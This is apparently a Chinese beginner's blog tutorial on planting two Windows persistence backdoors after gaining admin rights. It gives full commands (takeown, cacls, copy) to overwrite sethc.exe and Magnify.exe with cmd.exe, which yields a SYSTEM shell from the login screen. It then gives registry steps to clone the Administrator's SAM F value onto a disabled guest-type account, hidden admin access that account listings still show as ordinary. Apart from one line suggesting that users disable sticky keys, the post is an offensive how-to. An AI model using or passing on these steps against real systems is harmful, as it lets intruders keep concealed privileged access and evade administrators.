内网渗透基础操作---轻松使用后门以及用户克隆

“轻松使用”后门：

既然是后门，也就是说已经拿到管理员权限
环境：win7
原理：把sethc.exe覆盖成cmd.exe。
效果：连续按5次shift键或者win++呼出cmd。
命令：
①更改文件所有者

takeown  /F  c:\windows\system32\* /A /R

*：所有文件
/F（file) ：指定文件
/A ：更改归管理员组所有
/R ：递归

②更改文件权限

cacls c:\windows\system32\*  
/T /E /G administrators:F

因为不知道各个文件的依赖关系，就全部更改权限
/T ：类似于递归
/E ：编辑ACL不替换
/G ：赋予指定用户访问权限:
----R ：读取
----W ：写入
----C ：更改
----F ：完全控制
③覆盖
备份cmd

copy cmd.exe cmd.exe.bak

覆盖放大镜

copy cmd.exe Magnify.exe

覆盖粘滞键

copy cmd.exe sethc.exe

注销之后：系统不知道呼出的cmd以何种方式运行，就会默认以system方式运行
防范：所以我们在平常用不到粘滞键的话，最好是把它关闭了。

本人安全小白，还有很多不懂的地方，如果哪一步做错了，欢迎指点。

“用户克隆”后门：

作用：
一般黑客在入侵一个系统就可以采用这个办法来为自己留一个后门。即通过注册表，把管理员简直赋予普通用户，让普通用户拥有管理员权限。

例如guest用户被克隆后当管理员查看guest的时候它还是属于guest组,如果是禁用状态,显示还是禁用状态,但这个时候guest登入到系统而且是管理员权限

命令：
win+r->regedit 打开运行对话框，进入注册表
打开HKEY_LOCAL_MACHINE\SAM\SAMDomains\Account\Users目录

如果SAM文件下的SAM文件无法打开：

通过下面的高级添加你使用的用户，并且使得该用户具有完全控制的权限



选择需要赋予权限的用户

确定

勾选完全控制并确定即可

紧接着通过Name文件下的Administrator的类型比对，找到管理员的F值进行复制：

紧接着找到需要克隆的普通用户：

将管理员F值粘贴修改：

C:\WINDOWS\system32>net user zjx /active:yes 激活该用户

然后注销登录此用户

win+r打开运行对话框会出现：使用管理权限创建次任务。说明该用户已经继承了管理员权限并且会继承管理员的界面

后门创建成功。

本人安全小白，还有很多不懂的地方，如果哪一步做错了，欢迎指点。